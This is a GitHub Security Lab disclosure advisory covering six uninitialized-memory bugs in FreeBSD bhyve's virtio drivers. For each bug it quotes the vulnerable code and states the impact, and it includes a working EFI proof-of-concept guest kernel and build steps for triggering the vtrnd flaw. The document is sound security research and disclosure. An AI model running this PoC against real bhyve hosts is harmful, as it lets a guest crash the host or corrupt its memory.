Coordinated Disclosure Timeline

Summary

A malicious guest can trigger vulnerabilities in the host by abusing certain drivers that may lead to code execution outside the virtualized guest.

Product

bhyve

Tested Version

FreeBSD 13.0-RELEASE-p2

Details

Issue 1: pci_vtrnd_notify uninitialized memory use (GHSL-2021-088)

vtrnd is an implementation of Virtio RNG, a paravirtualized device that is exposed as a hardware RNG device to the guest. The randomness values are transferred into the guest memory by reading queues defined by the guest by using vq_getchain to fill a struct iovec structure with the memory ranges specified by the guest.

When there is an error condition, the function vq_getchain returns -1 if there was an error, 0 if there was no work to be done, or an integer bigger than 0 signaling the number of descriptors it was able to read into the iovec structure. In all cases, it is important to check for errors and if the amount of descriptors requested matches the amount read.

Unfortunately the implementation of qnotify at pci_vtrnd_notify, fails to check the return value of vq_getchain. This leads to struct iovec iov; being uninitialized and used to read memory in len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len); when an attacker is able to make vq_getchain fail.

Making vq_getchain fail is trivial since, by definition, it deals with the virtio queues that are created by the guest operating system. The simplest way to make this function not initialize the iovec structure is by simply not creating any virtio queues for it to read.

Vulnerable function:

static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov;
	struct pci_vtrnd_softc *sc;
	struct vi_req req;
	int len;

	sc = vsc;

	if (sc->vrsc_fd < 0) {
		vq_endchains(vq, 0);
		return;
	}

	while (vq_has_descs(vq)) {
		vq_getchain(vq, &iov, 1, &req);

		len = read(sc->vrsc_fd, iov.iov_base, iov.iov_len);

		DPRINTF(("vtrnd: vtrnd_notify(): %d", len));

		/* Catastrophe if unable to read from /dev/random */
		assert(len > 0);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, len);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

Impact

This issue may lead to a guest crashing the host causing a denial of service and, under certain circumstances, may lead to memory corruption.

Proof of Concept

The following PoC is a simple EFI kernel that simulates a compromised guest. The guest must be booted with the device vtrnd enabled by passing bhyve the command line flags -s 5,virtio-rnd for example.

In order to compile it follow the instructions in the resources section.

Warning: In order to verify the vulnerability please attach a debugger instead of waiting for a crash. Due to the nature of the vulnerability, a crash may not happen.

#include <uefi.h>

#include <stdbool.h>
#include <stddef.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

#define VQ_QSIZE 0x40

int main(int argc, char **argv)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VIRTIO_PCI_QUEUE_SEL = 0x0e
    outw(0x200e, 0);

    // 2. Initialize the queue to our address.
    // VIRTIO_PCI_QUEUE_PFN = 0x08
    outl(0x2008, 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
    avail->va_idx = VQ_QSIZE + 1;

    // 4. Call pci_vtrnd_notify to trigger a vq_getchain.
    // VIRTIO_PCI_QUEUE_NOTIFY = 0x10
    // pci_emul_io_handler = 0x2000
    // pci_emul_io_handler | VIRTIO_PCI_QUEUE_NOTIFY
    outw(0x2010, 0);

    while (1)
    {
    }

    return 0;
}

Issue 2: pci_vt9p_notify uninitialized memory use (GHSL-2021-089)

The function pci_vt9p_notify uses vq_getchain without checking its return value thus leading to the use of the iov array without properly being initialized. Another side effect of not properly checking the return value of vq_getchain is that when it returns -1 that value gets assigned into the vsr_niov variable (size_t integer), which will be interpreted as the largest positive integer that fits size_t.

Vulnerable function:

static void
pci_vt9p_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov[VT9P_MAX_IOV];
	struct pci_vt9p_softc *sc;
	struct pci_vt9p_request *preq;
	struct vi_req req;
	uint16_t n;

	sc = vsc;

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VT9P_MAX_IOV, &req);
		preq = calloc(1, sizeof(struct pci_vt9p_request));
		preq->vsr_sc = sc;
		preq->vsr_idx = req.idx;
		preq->vsr_iov = iov;
		preq->vsr_niov = n;
		preq->vsr_respidx = req.readable;

		for (int i = 0; i < n; i++) {
			DPRINTF(("vt9p: vt9p_notify(): desc%d base=%p, "
			    "len=%zu\r\n", i, iov[i].iov_base,
			    iov[i].iov_len));
		}

		l9p_connection_recv(sc->vsc_conn, iov, preq->vsr_respidx, preq);
	}
}

Use of vsr_iov:

static int
pci_vt9p_get_buffer(struct l9p_request *req, struct iovec *iov, size_t *niov,
    void *arg)
{
	struct pci_vt9p_request *preq = req->lr_aux;
	size_t n = preq->vsr_niov - preq->vsr_respidx;
	
	memcpy(iov, preq->vsr_iov + preq->vsr_respidx,
	    n * sizeof(struct iovec));
	*niov = n;
	return (0);
}

Impact

This issue may enable a guest to crash the host causing a denial of service and, under certain circumstances, it may lead to memory corruption.

Issue 3: pci_vtcon_sock_rx uninitialized memory use (GHSL-2021-090)

The function pci_vtcon_sock_rx uses vq_getchain without checking its return value thus leading to the use of the iov array without properly being initialized.

Vulnerable function:

static void
pci_vtcon_sock_rx(int fd __unused, enum ev_type t __unused, void *arg)
{
    ...

	do {
		n = vq_getchain(vq, &iov, 1, &req);
		len = readv(sock->vss_conn_fd, &iov, n);

		if (len == 0 || (len < 0 && errno == EWOULDBLOCK)) {
			vq_retchains(vq, 1);
			vq_endchains(vq, 0);
			if (len == 0)
				goto close;

			return;
		}

		vq_relchain(vq, req.idx, len);
	} while (vq_has_descs(vq));

    ...
}

Impact

This issue may enable a guest to crash the host causing a denial of service and, under certain circumstances, it may lead to memory corruption.

Issue 4: pci_vtcon_notify_tx uninitialized memory use (GHSL-2021-091)

The function pci_vtcon_notify_tx incorrectly uses an uint16_t variable to store the signed return value of vq_getchain leading to incorrectly handling the case when it returns -1 because it gets converted into a positive uint16_t integer.

Vulnerable function:

static void
pci_vtcon_notify_tx(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtcon_softc *sc;
	struct pci_vtcon_port *port;
	struct iovec iov[1];
	struct vi_req req;
	uint16_t n;

	sc = vsc;
	port = pci_vtcon_vq_to_port(sc, vq);

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, 1, &req);
		assert(n >= 1);
		if (port != NULL)
			port->vsp_cb(port, port->vsp_arg, iov, 1);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, 0);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

Impact

This issue enables a guest to crash the host causing a denial of service and, under certain circumstances, it may lead to memory corruption.

Issue 5: pci_vtscsi_controlq_notify uninitialized memory use (GHSL-2021-092)

The function pci_vtscsi_controlq_notify uses vq_getchain without checking its return value thus leading to the use of the iov array before it has been properly initialized.

Vulnerable function:

static void
pci_vtscsi_controlq_notify(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtscsi_softc *sc;
	struct iovec iov[VTSCSI_MAXSEG];
	struct vi_req req;
	uint16_t n;
	void *buf = NULL;
	size_t bufsize;
	int iolen;

	sc = vsc;

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &req);
		bufsize = iov_to_buf(iov, n, &buf);
		iolen = pci_vtscsi_control_handle(sc, buf, bufsize);
		buf_to_iov(buf + bufsize - iolen, iolen, iov, n,
		    bufsize - iolen);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, req.idx, iolen);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
	free(buf);
}

Impact

This issue may enable a guest to crash the host causing a denial of service and, under certain circumstances, it may lead memory corruption.

Issue 6: pci_vtscsi_requestq_notify uninitialized memory use (GHSL-2021-093)

The function pci_vtscsi_requestq_notify uses vq_getchain without checking its return value thus leading to the use of the iov array before it has been properly initialized. It also incorrectly assigns the return value of vq_getchain to an uint16_t. However, this variable is not used and therefore, at this point in time, it is not causing any additional issues.

Vulnerable function:

static void
pci_vtscsi_requestq_notify(void *vsc, struct vqueue_info *vq)
{
	struct pci_vtscsi_softc *sc;
	struct pci_vtscsi_queue *q;
	struct pci_vtscsi_request *req;
	struct iovec iov[VTSCSI_MAXSEG];
	struct vi_req vireq;
	uint16_t n;

	sc = vsc;
	q = &sc->vss_queues[vq->vq_num - 2];

	while (vq_has_descs(vq)) {
		n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &vireq);

		req = calloc(1, sizeof(struct pci_vtscsi_request));
		req->vsr_idx = vireq.idx;
		req->vsr_queue = q;
		req->vsr_niov_in = vireq.readable;
		req->vsr_niov_out = vireq.writable;
		memcpy(req->vsr_iov_in, iov,
		    req->vsr_niov_in * sizeof(struct iovec));
		memcpy(req->vsr_iov_out, iov + vireq.readable,
		    req->vsr_niov_out * sizeof(struct iovec));

		pthread_mutex_lock(&q->vsq_mtx);
		STAILQ_INSERT_TAIL(&q->vsq_requests, req, vsr_link);
		pthread_cond_signal(&q->vsq_cv);
		pthread_mutex_unlock(&q->vsq_mtx);

		DPRINTF(("virtio-scsi: request <idx=%d> enqueued",
		    vireq.idx));
	}
}

Impact

This issue may enable a guest to crash the host causing a denial of service and, under certain circumstances, it may lead to memory corruption.

CVE

Resources

PoC Resources

The following instructions work on macOS and will build a bootable EFI disk.

# Directory that contains the posix-uefi and the kernel sources.
mkdir poc
cd poc

# Get the sources of posix-uefi.
git clone https://gitlab.com/bztsrc/posix-uefi.git

# Create a sources directory that will contain the Makefile and our kernel sources.
mkdir src
cd src
ln -s ../posix-uefi/uefi

# Place the kernel poc sources in a main.c file.
cat > main.c << EOF
...
CODE
...
EOF

cat > Makefile << EOF
TARGET = bootx64.efi
include uefi/Makefile
EOF

# Build the kernel.
make

# Create a disk image.
mkdir -p diskImage/EFI/BOOT

# Copy our EFI kernel into the right place for booting.
cp bootx64.efi diskImage/EFI/BOOT/BOOTX64.EFI

# Create a disk image that we can use in bhyve.
hdiutil create -fs fat32 -ov -size 48m -volname GOOSE -format UDTO -srcfolder diskImage uefi.disk

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-088_093 in any communication regarding this issue.